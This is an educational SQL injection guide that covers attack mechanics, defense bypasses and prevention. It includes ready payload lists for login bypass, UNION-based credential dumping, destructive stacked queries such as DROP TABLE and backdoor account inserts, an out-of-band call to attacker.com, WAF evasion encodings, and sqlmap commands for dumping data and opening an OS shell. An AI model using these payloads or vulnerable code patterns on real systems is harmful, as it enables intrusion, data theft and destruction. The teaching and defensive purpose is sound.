Back to Attack Flows

SQL Injection - Comprehensive Guide

Complete guide to understanding, exploiting, and preventing SQL injection attacks

Table of Contents

What is SQL Injection?

SQL Injection (SQLi) is a code injection technique that exploits a security vulnerability in an application's database layer. When user input is improperly sanitized, an attacker can insert or "inject" malicious SQL code into queries, allowing them to:

Why is it Critical?

SQL Injection has been a top vulnerability for over two decades and remains in the OWASP Top 10 (#03 in 2021). It's critical because:

How SQL Injection Works

The Vulnerable Pattern

SQL injection occurs when user input is directly concatenated into SQL queries:

# VULNERABLE CODE
username = request.form['username']
password = request.form['password']

# String concatenation - DANGEROUS!
query = "SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'"
cursor.execute(query)

The Attack

An attacker enters malicious input that breaks out of the intended query structure:

# Attacker input:
Username: admin' --
Password: (anything)

# Resulting query:
SELECT * FROM users WHERE username='admin' --' AND password='anything'

# Everything after -- is a comment, so it becomes:
SELECT * FROM users WHERE username='admin'
# ✅ Logged in as admin without knowing the password!

Attack Types

1. In-Band SQL Injection

Results are displayed directly in the application:

2. Blind SQL Injection

No direct output, attacker infers information from application behavior:

3. Out-of-Band SQL Injection

Data exfiltration via alternative channels (DNS, HTTP):

'; EXEC xp_dirtree '\\attacker.com\share'--

Advanced Attack Techniques

1. Authentication Bypass

-- Classic bypass
admin' --
admin' OR '1'='1
' OR '1'='1' --
') OR ('1'='1

-- More sophisticated
admin'/*
' OR 1=1#
' OR 'a'='a

2. Data Extraction

-- Extract database version
' UNION SELECT NULL, @@version--

-- Get table names
' UNION SELECT NULL, table_name FROM information_schema.tables--

-- Extract column names
' UNION SELECT NULL, column_name FROM information_schema.columns WHERE table_name='users'--

-- Dump user data
' UNION SELECT username, password FROM users--

3. Stacked Queries

Execute multiple statements:

'; DROP TABLE users--
'; UPDATE users SET admin=1 WHERE username='attacker'--
'; INSERT INTO users VALUES ('backdoor', 'password123', 1)--

4. Second-Order SQL Injection

Payload stored in database, executed later:

# Step 1: Register with malicious username
username = "admin'--"
# Stored safely with escaping

# Step 2: Later code retrieves and uses it UNSAFELY
stored_username = db.get_username(user_id)
query = "SELECT * FROM profiles WHERE owner='" + stored_username + "'"
# NOW the injection executes!

5. WAF Bypass Techniques

-- Case manipulation
' Or 1=1--
' oR 1=1--

-- Comment injection
'/**/OR/**/1=1--

-- URL encoding
%27%20OR%201=1--

-- Unicode encoding
' OR 1=1--

-- Null byte injection
%00' OR 1=1--

-- Alternative operators
' OR 'x'='x
' OR 1 LIKE 1--

Defense Bypass Strategies

Bypassing Input Validation

1. Blacklist Bypasses

-- If "OR" is blocked, use alternatives:
|| (concatenation in some databases)
&& (AND alternative)
%26%26 (URL encoded &&)

-- If spaces are blocked:
/**/
%0A (newline)
%0D (carriage return)
%09 (tab)
+

-- If quotes are blocked:
CHAR(39) = '
0x27 = '

2. Filter Evasion

-- If SELECT is blocked:
SEL/**/ECT
SeLeCt
%53%45%4C%45%43%54

-- Using functions:
CONCAT('SE','LECT')

3. Encoding Tricks

-- Double URL encoding
%2527 = %27 = '

-- Hex encoding
0x61646D696E = 'admin'

-- Base64 in some contexts
YWRtaW4= = admin

Bypassing Prepared Statements (when improperly used)

# STILL VULNERABLE - table/column names can't be parameterized
table = request.args.get('table')
query = "SELECT * FROM " + table  # Vulnerable!
cursor.execute(query)

# Attack:
?table=users WHERE 1=1 OR 1=1--

Prevention & Mitigation

1. Parameterized Queries (Prepared Statements)

✅ THE PRIMARY DEFENSE

# Python with parameterized query
query = "SELECT * FROM users WHERE username=? AND password=?"
cursor.execute(query, (username, password))

# Python with named parameters
query = "SELECT * FROM users WHERE username=:user AND password=:pass"
cursor.execute(query, {'user': username, 'pass': password})

// Java JDBC
String query = "SELECT * FROM users WHERE username=? AND password=?";
PreparedStatement stmt = connection.prepareStatement(query);
stmt.setString(1, username);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();

// PHP PDO
$stmt = $pdo->prepare('SELECT * FROM users WHERE username=? AND password=?');
$stmt->execute([$username, $password]);

2. Use ORMs (Object-Relational Mapping)

ORMs handle parameterization automatically:

# Django ORM
User.objects.filter(username=username, password=password)

# SQLAlchemy
session.query(User).filter(User.username == username, User.password == password)

3. Input Validation (Defense in Depth)

import re

# Whitelist validation
def validate_username(username):
    # Only alphanumeric and underscore
    if not re.match(r'^[a-zA-Z0-9_]+$', username):
        raise ValueError("Invalid username format")
    return username

# Length limits
if len(username) > 50:
    raise ValueError("Username too long")

# Type checking
user_id = int(request.args.get('id'))  # Forces integer

4. Least Privilege

Database accounts should have minimal permissions:

-- ✅ GOOD: Application-specific user
CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'password';
GRANT SELECT, INSERT, UPDATE ON myapp.* TO 'webapp'@'localhost';
-- No DROP, CREATE, or admin privileges!

-- ❌ BAD: Using root/admin account
-- Application connects as 'root' with full privileges

5. Stored Procedures (with caution)

Can help if properly parameterized:

-- ✅ GOOD: Parameterized stored procedure
CREATE PROCEDURE GetUser(IN p_username VARCHAR(50), IN p_password VARCHAR(50))
BEGIN
    SELECT * FROM users WHERE username = p_username AND password = p_password;
END;

-- ❌ BAD: Dynamic SQL in stored procedure
CREATE PROCEDURE GetUser(IN p_username VARCHAR(50))
BEGIN
    SET @query = CONCAT('SELECT * FROM users WHERE username = ''', p_username, '''');
    PREPARE stmt FROM @query;
    EXECUTE stmt;
END;

6. Web Application Firewall (WAF)

ModSecurity, Cloudflare, AWS WAF can help detect and block SQL injection attempts:

Note: WAF is NOT a replacement for secure coding, only an additional layer.

7. Error Handling

# ❌ BAD: Exposes database structure
try:
    cursor.execute(query)
except Exception as e:
    return str(e)  # Shows "Table 'users' doesn't exist"

# ✅ GOOD: Generic error message
try:
    cursor.execute(query)
except Exception as e:
    log.error(f"Database error: {e}")
    return "An error occurred. Please try again."

8. Regular Security Testing

Detection & Testing

Manual Testing Techniques

1. Single Quote Test

# Add a single quote to each parameter
username='
# Look for SQL errors in response

2. Boolean-Based Testing

# Original request
?id=1

# Test TRUE condition
?id=1' AND '1'='1

# Test FALSE condition  
?id=1' AND '1'='2

# If responses differ, vulnerable!

3. Time-Based Testing

# MySQL
?id=1' AND SLEEP(5)--

# PostgreSQL
?id=1'; SELECT pg_sleep(5)--

# SQL Server
?id=1'; WAITFOR DELAY '00:00:05'--

# If response is delayed, vulnerable!

Automated Testing Tools

SQLMap

The most comprehensive SQL injection tool:

# Basic scan
sqlmap -u "http://example.com/page?id=1"

# With authentication
sqlmap -u "http://example.com/page?id=1" --cookie="session=abc123"

# Dump database
sqlmap -u "http://example.com/page?id=1" --dbs --dump

# Specific database and table
sqlmap -u "http://example.com/page?id=1" -D mydb -T users --dump

# OS shell
sqlmap -u "http://example.com/page?id=1" --os-shell

Burp Suite

OWASP ZAP

Code Review Patterns

Search for these vulnerable patterns:

# Python
grep -r "execute.*+.*request" .
grep -r "execute.*format" .

# Java
grep -r "createStatement" .
grep -r "Statement.*execute" .

# PHP
grep -r "mysql_query.*\$_" .
grep -r "mysqli_query.*\$_" .

Real-World Examples

Notable Breaches

1. Heartland Payment Systems (2008)

2. Sony Pictures (2011)

3. TalkTalk (2015)

4. Tesla (2014)

Common Vulnerable Applications

Quick Reference

Common Payloads

-- Authentication bypass
' OR '1'='1
' OR 1=1--
admin'--
') OR ('1'='1

-- Union-based
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT username,password FROM users--

-- Error-based
' AND 1=CONVERT(int, (SELECT @@version))--
' AND 1=CAST((SELECT table_name FROM information_schema.tables) AS int)--

-- Boolean-based
' AND 1=1--
' AND 1=2--

-- Time-based
' AND SLEEP(5)--
'; WAITFOR DELAY '00:00:05'--
'; SELECT pg_sleep(5)--

-- Stacked queries
'; DROP TABLE users--
'; UPDATE users SET password='hacked' WHERE username='admin'--

Testing Checklist

Prevention Checklist

Resources